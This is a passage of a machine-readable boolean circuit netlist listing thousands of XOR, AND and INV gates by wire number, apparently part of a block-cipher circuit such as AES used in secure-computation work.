1329 XOR +2 1 593 1457 1489 XOR +2 1 625 1489 1521 XOR +2 1 1489 1329 1361 XOR +2 1 1521 1361 1393 XOR +2 1 1399 1393 17616 XOR +2 1 36741 1297 1169 XOR +2 1 1329 1169 1201 XOR +2 1 1361 1201 1233 XOR +2 1 1393 1233 1265 XOR +2 1 1271 1265 15670 XOR +2 1 1527 1521 22481 XOR +1 1 23684 36644 INV +2 1 36644 658 530 XOR +2 1 36676 530 1426 XOR +2 1 690 530 562 XOR +2 1 722 562 594 XOR +2 1 754 594 626 XOR +2 1 626 15804 15882 XOR +2 1 626 624 15803 XOR +2 1 15803 15898 15883 XOR +2 1 15803 15809 15891 XOR +2 1 15819 15891 15889 XOR +2 1 626 15809 15894 XOR +2 1 630 15894 15890 XOR +2 1 15805 15803 15765 XOR +2 1 15802 15765 15886 XOR +2 1 15805 626 15764 XOR +2 1 631 15764 15893 XOR +2 1 15889 15887 15880 AND +2 1 15893 631 15879 AND +2 1 15897 15882 15878 AND +2 1 15878 15803 15807 XOR +2 1 15894 15890 15877 AND +2 1 15891 15884 15876 AND +2 1 15898 15883 15874 AND +2 1 15874 15880 15826 XOR +2 1 15826 15817 15872 XOR +2 1 15874 15875 15778 XOR +2 1 15778 15779 15825 XOR +2 1 15825 15807 15824 XOR +2 1 15877 15824 15871 XOR +2 1 15895 15886 15873 AND +2 1 15873 15876 15827 XOR +2 1 15873 15879 15831 XOR +2 1 15831 15803 15818 XOR +2 1 15826 15818 15869 XOR +2 1 15874 15827 15821 XOR +2 1 15807 15827 15781 XOR +2 1 15781 15806 15870 XOR +2 1 15812 15831 15780 XOR +2 1 626 15780 15823 XOR +2 1 15877 15821 15777 XOR +2 1 630 15777 15864 XOR +2 1 15872 15871 15868 AND +2 1 15868 15823 15863 XOR +2 1 15868 15870 15867 XOR +2 1 15869 15867 15866 AND +2 1 15866 15823 15865 XOR +2 1 15866 15878 15772 XOR +2 1 15772 15808 15768 XOR +2 1 624 15768 15771 XOR +2 1 15866 15817 15769 XOR +2 1 626 15768 15767 XOR +2 1 15863 15864 15862 AND +2 1 15862 15870 15861 XOR +2 1 15868 15862 15860 XOR +2 1 15862 15821 15776 XOR +2 1 15862 15879 15775 XOR +2 1 15775 15876 15770 XOR +2 1 15770 15771 15853 XOR +2 1 15870 15860 15859 AND +2 1 15859 15867 15857 XOR +2 1 15859 15877 15830 XOR +2 1 15830 15824 15851 XOR +2 1 630 15830 15813 XOR +2 1 15813 15776 15858 XOR +2 1 15865 15857 15856 AND +2 1 15856 15826 15816 XOR +2 1 15816 15818 15855 XOR +2 1 15856 15880 15774 XOR +2 1 15813 15774 15766 XOR +2 1 15803 15766 15773 XOR +2 1 15770 15773 15854 XOR +2 1 15816 15769 15852 XOR +2 1 15766 15767 15850 XOR +2 1 15851 15888 15849 AND +2 1 15858 15887 15848 AND +2 1 15861 631 15847 AND +2 1 15847 15849 15829 XOR +2 1 15852 15882 15846 AND +2 1 15855 15894 15845 AND +2 1 15865 15884 15844 AND +2 1 15844 15845 15783 XOR +2 1 15853 15885 15843 AND +2 1 15850 15883 15842 AND +2 1 15842 15845 15798 XOR +1 1 15798 15795 INV +2 1 15842 15843 15794 XOR +2 1 15854 15886 15841 AND +2 1 15851 15892 15840 AND +2 1 15858 15889 15839 AND +2 1 15861 15893 15838 AND +2 1 15852 15897 15837 AND +2 1 15837 15841 15814 XOR +2 1 15846 15837 15799 XOR +1 1 15814 15792 INV +2 1 15855 15890 15836 AND +2 1 15844 15836 15801 XOR +2 1 15865 15891 15835 AND +2 1 15792 15835 15791 XOR +2 1 15791 15829 15787 XOR +2 1 15853 15896 15834 AND +2 1 15834 15787 15790 XOR +2 1 15850 15898 15833 AND +2 1 15833 15834 15828 XOR +2 1 15839 15828 15810 XOR +2 1 15840 15810 15811 XOR +2 1 15848 15811 15815 XOR +2 1 15849 15815 15820 XOR +2 1 15801 15828 15797 XOR +2 1 15829 15797 15800 XOR +2 1 15799 15800 15902 XOR +2 1 15792 15797 15796 XOR +2 1 15795 15796 15901 XOR +2 1 15820 15794 15900 XOR +2 1 15810 15787 15786 XOR +2 1 15847 15815 15784 XOR +2 1 15783 15784 36682 XOR +2 1 36682 524 1420 XOR +2 1 15854 15895 15832 AND +2 1 15843 15832 15793 XOR +1 1 15793 15789 INV +2 1 15789 15790 15899 XOR +1 1 15902 36679 INV +2 1 36679 527 1423 XOR +1 1 15901 36680 INV +2 1 36680 526 1422 XOR +1 1 15900 36685 INV +2 1 36685 521 1417 XOR +1 1 15899 36684 INV +2 1 36684 522 1418 XOR +2 1 36708 1426 1298 XOR +2 1 562 1426 1458 XOR +2 1 556 1420 1452 XOR +2 1 588 1452 1484 XOR +2 1 620 1484 1516 XOR +2 1 553 1417 1449 XOR +2 1 554 1418 1450 XOR +2 1 1458 1298 1330 XOR +2 1 586 1450 1482 XOR +2 1 618 1482 1514 XOR +2 1 585 1449 1481 XOR +2 1 617 1481 1513 XOR +2 1 558 1422 1454 XOR +2 1 590 1454 1486 XOR +2 1 622 1486 1518 XOR +2 1 1518 1516 12034 XOR +2 1 594 1458 1490 XOR +2 1 626 1490 1522 XOR +2 1 1490 1330 1362 XOR +2 1 1522 1362 1394 XOR +2 1 1394 17616 17701 XOR +2 1 559 1423 1455 XOR +2 1 591 1455 1487 XOR +2 1 623 1487 1519 XOR +2 1 1519 1513 12041 XOR +2 1 1514 12041 12127 XOR +2 1 1518 12127 12123 XOR +2 1 12127 12123 12110 AND +2 1 36740 1298 1170 XOR +2 1 1330 1170 1202 XOR +2 1 1362 1202 1234 XOR +2 1 1394 1234 1266 XOR +2 1 1266 15670 15755 XOR +2 1 1522 22481 22566 XOR +2 1 1526 22566 22562 XOR +2 1 22566 22562 22549 AND +2 1 1494 1334 1366 XOR +2 1 1526 1366 1398 XOR +2 1 1398 1396 17609 XOR +2 1 1398 17701 17697 XOR +2 1 17701 17697 17684 AND +2 1 1366 1206 1238 XOR +2 1 1398 1238 1270 XOR +2 1 1270 1268 15663 XOR +2 1 1270 15755 15751 XOR +2 1 15755 15751 15738 AND +2 1 15845 15846 32667 XOR +2 1 15842 32667 15822 XOR +2 1 15843 15822 15782 XOR +2 1 15838 15822 15788 XOR +1 1 15788 15785 INV +2 1 15785 15786 36681 XOR +2 1 36681 525 1421 XOR +2 1 557 1421 1453 XOR +2 1 589 1453 1485 XOR +2 1 621 1485 1517 XOR +2 1 1516 1517 12011 XOR +2 1 1517 12034 12036 XOR +2 1 1513 12036 12118 XOR +2 1 1514 12036 12115 XOR +2 1 1518 1517 12052 XOR +2 1 12041 12036 12117 XOR +2 1 15811 15782 36686 XOR +2 1 36686 520 1416 XOR +2 1 552 1416 1448 XOR +2 1 584 1448 1480 XOR +2 1 616 1480 1512 XOR +2 1 1512 1517 12128 XOR +2 1 1514 1512 12035 XOR +2 1 1512 1518 12130 XOR +2 1 12130 12115 12111 AND +2 1 12111 12035 12039 XOR +2 1 12035 12041 12124 XOR +2 1 12052 12124 12122 XOR +2 1 12124 12117 12109 AND +2 1 32667 15820 36683 XOR +2 1 36683 523 1419 XOR +2 1 555 1419 1451 XOR +2 1 587 1451 1483 XOR +2 1 619 1483 1515 XOR +2 1 1515 1513 12037 XOR +2 1 1515 1512 12129 XOR +2 1 12129 12052 12125 XOR +2 1 12034 12129 12121 XOR +2 1 1519 12121 12120 XOR +2 1 1517 1515 12131 XOR +2 1 12035 12131 12116 XOR +2 1 12037 12035 11997 XOR +2 1 12034 11997 12119 XOR +2 1 12037 1514 11996 XOR +2 1 1519 11996 12126 XOR +2 1 12121 12125 12114 AND +2 1 12114 12037 12040 XOR +2 1 12122 12120 12113 AND +2 1 12126 1519 12112 AND +2 1 12129 12118 12108 AND +2 1 12108 12036 12038 XOR +2 1 12040 12038 12044 XOR +2 1 1512 12044 12050 XOR +2 1 12131 12116 12107 AND +2 1 12107 12113 12059 XOR +2 1 12059 12050 12105 XOR +2 1 12107 12108 12010 XOR +2 1 12010 12011 12058 XOR +2 1 12058 12039 12057 XOR +2 1 12110 12057 12104 XOR +2 1 12128 12119 12106 AND +2 1 12106 12109 12060 XOR +2 1 12106 12112 12064 XOR +2 1 12064 12035 12051 XOR +2 1 12059 12051 12102 XOR +2 1 12107 12060 12054 XOR +2 1 12039 12060 12013 XOR +2 1 12013 12038 12103 XOR +2 1 12044 12064 12012 XOR +2 1 1514 12012 12056 XOR +2 1 12110 12054 12009 XOR +2 1 1518 12009 12097 XOR +2 1 12105 12104 12101 AND +2 1 12101 12056 12096 XOR +2 1 12101 12103 12100 XOR +2 1 12102 12100 12099 AND +2 1 12099 12056 12098 XOR +2 1 12099 12111 12004 XOR +2 1 12004 12040 12000 XOR +2 1 1512 12000 12003 XOR +2 1 12099 12050 12001 XOR +2 1 1514 12000 11999 XOR +2 1 12096 12097 12095 AND +2 1 12095 12103 12094 XOR +2 1 12101 12095 12093 XOR +2 1 12095 12054 12008 XOR +2 1 12095 12112 12007 XOR +2 1 12007 12109 12002 XOR +2 1 12002 12003 12086 XOR +2 1 12103 12093 12092 AND +2 1 12092 12100 12090 XOR +2 1 12092 12110 12063 XOR +2 1 12063 12057 12084 XOR +2 1 1518 12063 12045 XOR +2 1 12045 12008 12091 XOR +2 1 12098 12090 12089 AND +2 1 12089 12059 12049 XOR +2 1 12049 12051 12088 XOR +2 1 12089 12113 12006 XOR +2 1 12045 12006 11998 XOR +2 1 12035 11998 12005 XOR +2 1 12002 12005 12087 XOR +2 1 12049 12001 12085 XOR +2 1 11998 11999 12083 XOR +2 1 12084 12121 12082 AND +2 1 12091 12120 12081 AND +2 1 12094 1519 12080 AND +2 1 12080 12082 12062 XOR +2 1 12085 12115 12079 AND +2 1 12088 12127 12078 AND +2 1 12078 12079 12047 XOR +2 1 12098 12117 12077 AND +2 1 12077 12078 12015 XOR +2 1 12086 12118 12076 AND +2 1 12083 12116 12075 AND +2 1 12075 12047 12055 XOR +2 1 12075 12078 12030 XOR +1 1 12030 12027 INV +2 1 12075 12076 12026 XOR +2 1 12076 12055 12014 XOR +2 1 12087 12119 12074 AND +2 1 12084 12125 12073 AND +2 1 12091 12122 12072 AND +2 1 12094 12126 12071 AND +2 1 12071 12055 12020 XOR +1 1 12020 12017 INV +2 1 12085 12130 12070 AND +2 1 12070 12074 12046 XOR +2 1 12079 12070 12031 XOR +1 1 12046 12024 INV +2 1 12088 12123 12069 AND +2 1 12077 12069 12033 XOR +2 1 12098 12124 12068 AND +2 1 12024 12068 12023 XOR +2 1 12023 12062 12019 XOR +2 1 12086 12129 12067 AND +2 1 12067 12019 12022 XOR +2 1 12083 12131 12066 AND +2 1 12066 12067 12061 XOR +2 1 12072 12061 12042 XOR +2 1 12073 12042 12043 XOR +2 1 12081 12043 12048 XOR +2 1 12082 12048 12053 XOR +2 1 12047 12053 36723 XOR +2 1 12033 12061 12029 XOR +2 1 12062 12029 12032 XOR +2 1 12031 12032 12135 XOR +2 1 12024 12029 12028 XOR +2 1 12027 12028 12134 XOR +2 1 12053 12026 12133 XOR +2 1 12042 12019 12018 XOR +2 1 12017 12018 36721 XOR +2 1 12080 12048 12016 XOR +2 1 12015 12016 36722 XOR +2 1 12043 12014 36726 XOR +2 1 12087 12128 12065 AND +2 1 12076 12065 12025 XOR +1 1 12025 12021 INV +2 1 12021 12022 12132 XOR +1 1 12135 36719 INV +1 1 12134 36720 INV +1 1 12133 36725 INV +1 1 12132 36724 INV +2 1 36721 1413 1285 XOR +2 1 36722 1412 1284 XOR +2 1 1444 1284 1316 XOR +2 1 1476 1316 1348 XOR +2 1 1508 1348 1380 XOR +2 1 1445 1285 1317 XOR +2 1 36720 1414 1286 XOR +2 1 1446 1286 1318 XOR +2 1 36726 1408 1564 XOR +1 1 1564 1280 INV +2 1 36725 1409 1281 XOR +2 1 1441 1281 1313 XOR +2 1 1473 1313 1345 XOR +2 1 1505 1345 1377 XOR +2 1 36723 1411 1283 XOR +2 1 1443 1283 1315 XOR +2 1 36719 1415 1287 XOR +2 1 36724 1410 1282 XOR +2 1 1442 1282 1314 XOR +2 1 1440 1564 1565 XOR +2 1 1472 1565 1566 XOR +1 1 1566 1344 INV +1 1 1565 1312 INV +2 1 1504 1566 1567 XOR +1 1 1567 1376 INV +2 1 1447 1287 1319 XOR +2 1 1474 1314 1346 XOR +2 1 1506 1346 1378 XOR +2 1 1477 1317 1349 XOR +2 1 1509 1349 1381 XOR +2 1 1378 1376 16915 XOR +2 1 1380 1381 16891 XOR +2 1 1376 1381 17007 XOR +2 1 1475 1315 1347 XOR +2 1 1507 1347 1379 XOR +2 1 1379 1377 16917 XOR +2 1 1379 1376 17008 XOR +2 1 1381 1379 17010 XOR +2 1 16915 17010 16995 XOR +2 1 16917 16915 16877 XOR +2 1 16917 1378 16876 XOR +2 1 17010 16995 16986 AND +2 1 1478 1318 1350 XOR +2 1 1510 1350 1382 XOR +2 1 1382 1380 16914 XOR +2 1 1381 16914 16916 XOR +2 1 1377 16916 16997 XOR +2 1 1378 16916 16994 XOR +2 1 16914 17008 17000 XOR +2 1 1382 1381 16931 XOR +2 1 17008 16931 17004 XOR +2 1 16914 16877 16998 XOR +2 1 1376 1382 17009 XOR +2 1 17000 17004 16993 AND +2 1 16993 16917 16920 XOR +2 1 17009 16994 16990 AND +2 1 16990 16915 16919 XOR +2 1 17008 16997 16987 AND +2 1 16987 16916 16918 XOR +2 1 16920 16918 16924 XOR +2 1 1376 16924 16929 XOR +2 1 16986 16987 16890 XOR +2 1 16890 16891 16937 XOR +2 1 16937 16919 16936 XOR +2 1 17007 16998 16985 AND +2 1 1479 1319 1351 XOR +2 1 1511 1351 1383 XOR +2 1 1383 17000 16999 XOR +2 1 1383 1377 16921 XOR +2 1 16921 16916 16996 XOR +2 1 16915 16921 17003 XOR +2 1 16931 17003 17001 XOR +2 1 1378 16921 17006 XOR +2 1 1382 17006 17002 XOR +2 1 1383 16876 17005 XOR +2 1 17001 16999 16992 AND +2 1 16986 16992 16938 XOR +2 1 16938 16929 16984 XOR +2 1 17005 1383 16991 AND +2 1 16985 16991 16943 XOR +2 1 16943 16915 16930 XOR +2 1 16938 16930 16981 XOR +2 1 16924 16943 16892 XOR +2 1 1378 16892 16935 XOR +2 1 17006 17002 16989 AND +2 1 16989 16936 16983 XOR +2 1 17003 16996 16988 AND +2 1 16985 16988 16939 XOR +2 1 16986 16939 16933 XOR +2 1 16919 16939 16893 XOR +2 1 16893 16918 16982 XOR +2 1 16989 16933 16889 XOR +2 1 1382 16889 16976 XOR +2 1 16984 16983 16980 AND +2 1 16980 16935 16975 XOR +2 1 16980 16982 16979 XOR +2 1 16981 16979 16978 AND +2 1 16978 16935 16977 XOR +2 1 16978 16990 16884 XOR +2 1 16884 16920 16880 XOR +2 1 1376 16880 16883 XOR +2 1 16978 16929 16881 XOR +2 1 1378 16880 16879 XOR +2 1 16975 16976 16974 AND +2 1 16974 16982 16973 XOR +2 1 16980 16974 16972 XOR +2 1 16974 16933 16888 XOR +2 1 16974 16991 16887 XOR +2 1 16887 16988 16882 XOR +2 1 16882 16883 16965 XOR +2 1 16982 16972 16971 AND +2 1 16971 16979 16969 XOR +2 1 16971 16989 16942 XOR +2 1 16942 16936 16963 XOR +2 1 1382 16942 16925 XOR +2 1 16925 16888 16970 XOR +2 1 16977 16969 16968 AND +2 1 16968 16938 16928 XOR +2 1 16928 16930 16967 XOR +2 1 16968 16992 16886 XOR +2 1 16925 16886 16878 XOR +2 1 16915 16878 16885 XOR +2 1 16882 16885 16966 XOR +2 1 16928 16881 16964 XOR +2 1 16878 16879 16962 XOR +2 1 16963 17000 16961 AND +2 1 16970 16999 16960 AND +2 1 16973 1383 16959 AND +2 1 16959 16961 16941 XOR +2 1 16964 16994 16958 AND +2 1 16967 17006 16957 AND +2 1 16977 16996 16956 AND +2 1 16956 16957 16895 XOR +2 1 16965 16997 16955 AND +2 1 16962 16995 16954 AND +2 1 16954 16957 16910 XOR +1 1 16910 16907 INV +2 1 16954 16955 16906 XOR +2 1 16966 16998 16953 AND +2 1 16963 17004 16952 AND +2 1 16970 17001 16951 AND +2 1 16973 17005 16950 AND +2 1 16964 17009 16949 AND +2 1 16949 16953 16926 XOR +2 1 16958 16949 16911 XOR +1 1 16926 16904 INV +2 1 16967 17002 16948 AND +2 1 16956 16948 16913 XOR +2 1 16977 17003 16947 AND +2 1 16904 16947 16903 XOR +2 1 16903 16941 16899 XOR +2 1 16965 17008 16946 AND +2 1 16946 16899 16902 XOR +2 1 16962 17010 16945 AND +2 1 16945 16946 16940 XOR +2 1 16951 16940 16922 XOR +2 1 16952 16922 16923 XOR +2 1 16960 16923 16927 XOR +2 1 16961 16927 16932 XOR +2 1 16913 16940 16909 XOR +2 1 16941 16909 16912 XOR +2 1 16911 16912 17014 XOR +2 1 16904 16909 16908 XOR +2 1 16907 16908 17013 XOR +2 1 16932 16906 17012 XOR +2 1 16922 16899 16898 XOR +2 1 16959 16927 16896 XOR +2 1 16895 16896 36730 XOR +2 1 16966 17007 16944 AND +2 1 16955 16944 16905 XOR +1 1 16905 16901 INV +2 1 16901 16902 17011 XOR +1 1 17014 36727 INV +1 1 17013 36728 INV +1 1 17012 36733 INV +1 1 17011 36732 INV +2 1 36733 1305 1177 XOR +2 1 36727 1311 1183 XOR +2 1 36732 1306 1178 XOR +2 1 36730 1308 1180 XOR +2 1 1337 1177 1209 XOR +2 1 1338 1178 1210 XOR +2 1 36728 1310 1182 XOR +2 1 1342 1182 1214 XOR +2 1 1374 1214 1246 XOR +2 1 1406 1246 1278 XOR +2 1 1343 1183 1215 XOR +2 1 1375 1215 1247 XOR +2 1 1407 1247 1279 XOR +2 1 1340 1180 1212 XOR +2 1 1372 1212 1244 XOR +2 1 1404 1244 1276 XOR +2 1 1278 1276 12594 XOR +2 1 1370 1210 1242 XOR +2 1 1402 1242 1274 XOR +2 1 1369 1209 1241 XOR +2 1 1401 1241 1273 XOR +2 1 1279 1273 12601 XOR +2 1 1274 12601 12687 XOR +2 1 1278 12687 12683 XOR +2 1 12687 12683 12670 AND +2 1 16957 16958 32675 XOR +2 1 16954 32675 16934 XOR +2 1 16955 16934 16894 XOR +2 1 16923 16894 36734 XOR +2 1 36734 1304 1176 XOR +2 1 1336 1176 1208 XOR +2 1 1368 1208 1240 XOR +2 1 1400 1240 1272 XOR +2 1 1272 1278 12690 XOR +2 1 1274 1272 12595 XOR +2 1 12595 12601 12684 XOR +2 1 16950 16934 16900 XOR +1 1 16900 16897 INV +2 1 16897 16898 36729 XOR +2 1 36729 1309 1181 XOR +2 1 1341 1181 1213 XOR +2 1 1373 1213 1245 XOR +2 1 1405 1245 1277 XOR +2 1 1277 12594 12596 XOR +2 1 1278 1277 12612 XOR +2 1 1276 1277 12571 XOR +2 1 1272 1277 12688 XOR +2 1 1274 12596 12675 XOR +2 1 12690 12675 12671 AND +2 1 12671 12595 12599 XOR +2 1 1273 12596 12678 XOR +2 1 12601 12596 12677 XOR +2 1 12612 12684 12682 XOR +2 1 12684 12677 12669 AND +2 1 32675 16932 36731 XOR +2 1 36731 1307 1179 XOR +2 1 1339 1179 1211 XOR +2 1 1371 1211 1243 XOR +2 1 1403 1243 1275 XOR +2 1 1275 1273 12597 XOR +2 1 1275 1272 12689 XOR +2 1 12689 12612 12685 XOR +2 1 12594 12689 12681 XOR +2 1 1279 12681 12680 XOR +2 1 1277 1275 12691 XOR +2 1 12595 12691 12676 XOR +2 1 12597 12595 12557 XOR +2 1 12594 12557 12679 XOR +2 1 12597 1274 12556 XOR +2 1 1279 12556 12686 XOR +2 1 12681 12685 12674 AND +2 1 12674 12597 12600 XOR +2 1 12682 12680 12673 AND +2 1 12686 1279 12672 AND +2 1 12689 12678 12668 AND +2 1 12668 12596 12598 XOR +2 1 12600 12598 12604 XOR +2 1 1272 12604 12610 XOR +2 1 12691 12676 12667 AND +2 1 12667 12673 12619 XOR +2 1 12619 12610 12665 XOR +2 1 12667 12668 12570 XOR +2 1 12570 12571 12618 XOR +2 1 12618 12599 12617 XOR +2 1 12670 12617 12664 XOR +2 1 12688 12679 12666 AND +2 1 12666 12669 12620 XOR +2 1 12666 12672 12624 XOR +2 1 12624 12595 12611 XOR +2 1 12619 12611 12662 XOR +2 1 12667 12620 12614 XOR +2 1 12599 12620 12573 XOR +2 1 12573 12598 12663 XOR +2 1 12604 12624 12572 XOR +2 1 1274 12572 12616 XOR +2 1 12670 12614 12569 XOR +2 1 1278 12569 12657 XOR +2 1 12665 12664 12661 AND +2 1 12661 12616 12656 XOR +2 1 12661 12663 12660 XOR +2 1 12662 12660 12659 AND +2 1 12659 12616 12658 XOR +2 1 12659 12671 12564 XOR +2 1 12564 12600 12560 XOR +2 1 1272 12560 12563 XOR +2 1 12659 12610 12561 XOR +2 1 1274 12560 12559 XOR +2 1 12656 12657 12655 AND +2 1 12655 12663 12654 XOR +2 1 12661 12655 12653 XOR +2 1 12655 12614 12568 XOR +2 1 12655 12672 12567 XOR +2 1 12567 12669 12562 XOR +2 1 12562 12563 12646 XOR +2 1 12663 12653 12652 AND +2 1 12652 12660 12650 XOR +2 1 12652 12670 12623 XOR +2 1 12623 12617 12644 XOR +2 1 1278 12623 12605 XOR +2 1 12605 12568 12651 XOR +2 1 12658 12650 12649 AND +2 1 12649 12619 12609 XOR +2 1 12609 12611 12648 XOR +2 1 12649 12673 12566 XOR +2 1 12605 12566 12558 XOR +2 1 12595 12558 12565 XOR +2 1 12562 12565 12647 XOR +2 1 12609 12561 12645 XOR +2 1 12558 12559 12643 XOR +2 1 12644 12681 12642 AND +2 1 12651 12680 12641 AND +2 1 12654 1279 12640 AND +2 1 12640 12642 12622 XOR +2 1 12645 12675 12639 AND +2 1 12648 12687 12638 AND +2 1 12638 12639 12607 XOR +2 1 12658 12677 12637 AND +2 1 12637 12638 12575 XOR +2 1 12646 12678 12636 AND +2 1 12643 12676 12635 AND +2 1 12635 12607 12615 XOR +2 1 12635 12638 12590 XOR +1 1 12590 12587 INV +2 1 12635 12636 12586 XOR +2 1 12636 12615 12574 XOR +2 1 12647 12679 12634 AND +2 1 12644 12685 12633 AND +2 1 12651 12682 12632 AND +2 1 12654 12686 12631 AND +2 1 12631 12615 12580 XOR +1 1 12580 12577 INV +2 1 12645 12690 12630 AND +2 1 12630 12634 12606 XOR +2 1 12639 12630 12591 XOR +1 1 12606 12584 INV +2 1 12648 12683 12629 AND +2 1 12637 12629 12593 XOR +2 1 12658 12684 12628 AND +2 1 12584 12628 12583 XOR +2 1 12583 12622 12579 XOR +2 1 12646 12689 12627 AND +2 1 12627 12579 12582 XOR +2 1 12643 12691 12626 AND +2 1 12626 12627 12621 XOR +2 1 12632 12621 12602 XOR +2 1 12633 12602 12603 XOR +2 1 12641 12603 12608 XOR +2 1 12642 12608 12613 XOR +2 1 12607 12613 36771 XOR +2 1 12593 12621 12589 XOR +2 1 12622 12589 12592 XOR +2 1 12591 12592 12695 XOR +2 1 12584 12589 12588 XOR +2 1 12587 12588 12694 XOR +2 1 12613 12586 12693 XOR +2 1 12602 12579 12578 XOR +2 1 12577 12578 36769 XOR +2 1 12640 12608 12576 XOR +2 1 12575 12576 36770 XOR +2 1 12603 12574 36774 XOR +2 1 12647 12688 12625 AND +2 1 12636 12625 12585 XOR +1 1 12585 12581 INV +2 1 12581 12582 12692 XOR +1 1 12695 36767 INV +1 1 12694 36768 INV +1 1 12693 36773 INV +1 1 12692 36772 INV +2 1 36767 1175 1047 XOR +2 1 36768 1174 1046 XOR +2 1 1206 1046 1078 XOR +2 1 1238 1078 1110 XOR +2 1 1270 1110 1142 XOR +2 1 1207 1047 1079 XOR +2 1 1239 1079 1111 XOR +2 1 1271 1111 1143 XOR +2 1 36773 1169 1041 XOR +2 1 1201 1041 1073 XOR +2 1 36772 1170 1042 XOR +2 1 1202 1042 1074 XOR +2 1 36770 1172 1044 XOR +2 1 1204 1044 1076 XOR +2 1 1233 1073 1105 XOR +2 1 1265 1105 1137 XOR +2 1 1234 1074 1106 XOR +2 1 1266 1106 1138 XOR +2 1 1236 1076 1108 XOR +2 1 1268 1108 1140 XOR +2 1 18764 18765 32688 XOR +2 1 32688 18739 36675 XOR +2 1 36675 531 1427 XOR +2 1 563 1427 1459 XOR +2 1 595 1459 1491 XOR +2 1 627 1491 1523 XOR +2 1 1523 1521 22477 XOR +2 1 22477 1522 22436 XOR +2 1 1527 22436 22565 XOR +2 1 22565 1527 22551 AND +2 1 18761 32688 18741 XOR +2 1 18757 18741 18707 XOR +1 1 18707 18704 INV +2 1 18704 18705 36673 XOR +2 1 36673 533 1429 XOR +2 1 565 1429 1461 XOR +2 1 597 1461 1493 XOR +2 1 629 1493 1525 XOR +2 1 18762 18741 18701 XOR +2 1 18730 18701 36678 XOR +2 1 36678 528 1424 XOR +2 1 560 1424 1456 XOR +2 1 592 1456 1488 XOR +2 1 624 1488 1520 XOR +2 1 1522 1520 22475 XOR +2 1 1525 22474 22476 XOR +2 1 1521 22476 22557 XOR +2 1 1522 22476 22554 XOR +2 1 22481 22476 22556 XOR +2 1 1523 1520 22568 XOR +2 1 22475 22481 22563 XOR +2 1 22474 22568 22560 XOR +2 1 1527 22560 22559 XOR +2 1 1526 1525 22491 XOR +2 1 22491 22563 22561 XOR +2 1 22568 22491 22564 XOR +2 1 1525 1523 22570 XOR +2 1 22475 22570 22555 XOR +2 1 1524 1525 22451 XOR +2 1 22477 22475 22437 XOR +2 1 22474 22437 22558 XOR +2 1 1520 1526 22569 XOR +2 1 1520 1525 22567 XOR +2 1 22560 22564 22553 AND +2 1 22553 22477 22480 XOR +2 1 22561 22559 22552 AND +2 1 22569 22554 22550 AND +2 1 22550 22475 22479 XOR +2 1 22563 22556 22548 AND +2 1 22568 22557 22547 AND +2 1 22547 22476 22478 XOR +2 1 22480 22478 22484 XOR +2 1 1520 22484 22489 XOR +2 1 22570 22555 22546 AND +2 1 22546 22552 22498 XOR +2 1 22498 22489 22544 XOR +2 1 22546 22547 22450 XOR +2 1 22450 22451 22497 XOR +2 1 22497 22479 22496 XOR +2 1 22549 22496 22543 XOR +2 1 22567 22558 22545 AND +2 1 22545 22548 22499 XOR +2 1 22545 22551 22503 XOR +2 1 22503 22475 22490 XOR +2 1 22498 22490 22541 XOR +2 1 22546 22499 22493 XOR +2 1 22479 22499 22453 XOR +2 1 22453 22478 22542 XOR +2 1 22484 22503 22452 XOR +2 1 1522 22452 22495 XOR +2 1 22549 22493 22449 XOR +2 1 1526 22449 22536 XOR +2 1 22544 22543 22540 AND +2 1 22540 22495 22535 XOR +2 1 22540 22542 22539 XOR +2 1 22541 22539 22538 AND +2 1 22538 22495 22537 XOR +2 1 22538 22550 22444 XOR +2 1 22444 22480 22440 XOR +2 1 1520 22440 22443 XOR +2 1 22538 22489 22441 XOR +2 1 1522 22440 22439 XOR +2 1 22535 22536 22534 AND +2 1 22534 22542 22533 XOR +2 1 22540 22534 22532 XOR +2 1 22534 22493 22448 XOR +2 1 22534 22551 22447 XOR +2 1 22447 22548 22442 XOR +2 1 22442 22443 22525 XOR +2 1 22542 22532 22531 AND +2 1 22531 22539 22529 XOR +2 1 22531 22549 22502 XOR +2 1 22502 22496 22523 XOR +2 1 1526 22502 22485 XOR +2 1 22485 22448 22530 XOR +2 1 22537 22529 22528 AND +2 1 22528 22498 22488 XOR +2 1 22488 22490 22527 XOR +2 1 22528 22552 22446 XOR +2 1 22485 22446 22438 XOR +2 1 22475 22438 22445 XOR +2 1 22442 22445 22526 XOR +2 1 22488 22441 22524 XOR +2 1 22438 22439 22522 XOR +2 1 22523 22560 22521 AND +2 1 22530 22559 22520 AND +2 1 22533 1527 22519 AND +2 1 22519 22521 22501 XOR +2 1 22524 22554 22518 AND +2 1 22527 22566 22517 AND +2 1 22537 22556 22516 AND +2 1 22516 22517 22455 XOR +2 1 22525 22557 22515 AND +2 1 22522 22555 22514 AND +2 1 22514 22517 22470 XOR +1 1 22470 22467 INV +2 1 22514 22515 22466 XOR +2 1 22526 22558 22513 AND +2 1 22523 22564 22512 AND +2 1 22530 22561 22511 AND +2 1 22533 22565 22510 AND +2 1 22524 22569 22509 AND +2 1 22509 22513 22486 XOR +2 1 22518 22509 22471 XOR +1 1 22486 22464 INV +2 1 22527 22562 22508 AND +2 1 22516 22508 22473 XOR +2 1 22537 22563 22507 AND +2 1 22464 22507 22463 XOR +2 1 22463 22501 22459 XOR +2 1 22525 22568 22506 AND +2 1 22506 22459 22462 XOR +2 1 22522 22570 22505 AND +2 1 22505 22506 22500 XOR +2 1 22511 22500 22482 XOR +2 1 22512 22482 22483 XOR +2 1 22520 22483 22487 XOR +2 1 22521 22487 22492 XOR +2 1 22473 22500 22469 XOR +2 1 22501 22469 22472 XOR +2 1 22471 22472 22574 XOR +2 1 22464 22469 22468 XOR +2 1 22467 22468 22573 XOR +2 1 22492 22466 22572 XOR +2 1 22482 22459 22458 XOR +2 1 22519 22487 22456 XOR +2 1 22455 22456 36714 XOR +2 1 36714 1420 1292 XOR +2 1 22526 22567 22504 AND +2 1 22515 22504 22465 XOR +1 1 22465 22461 INV +2 1 22461 22462 22571 XOR +1 1 22574 36711 INV +2 1 36711 1423 1295 XOR +2 1 1455 1295 1327 XOR +1 1 22573 36712 INV +2 1 36712 1422 1294 XOR +2 1 1454 1294 1326 XOR +1 1 22572 36717 INV +2 1 36717 1417 1289 XOR +2 1 1449 1289 1321 XOR +2 1 1481 1321 1353 XOR +2 1 1513 1353 1385 XOR +1 1 22571 36716 INV +2 1 36716 1418 1290 XOR +2 1 1450 1290 1322 XOR +2 1 1482 1322 1354 XOR +2 1 1514 1354 1386 XOR +2 1 1452 1292 1324 XOR +2 1 1484 1324 1356 XOR +2 1 1516 1356 1388 XOR +2 1 1486 1326 1358 XOR +2 1 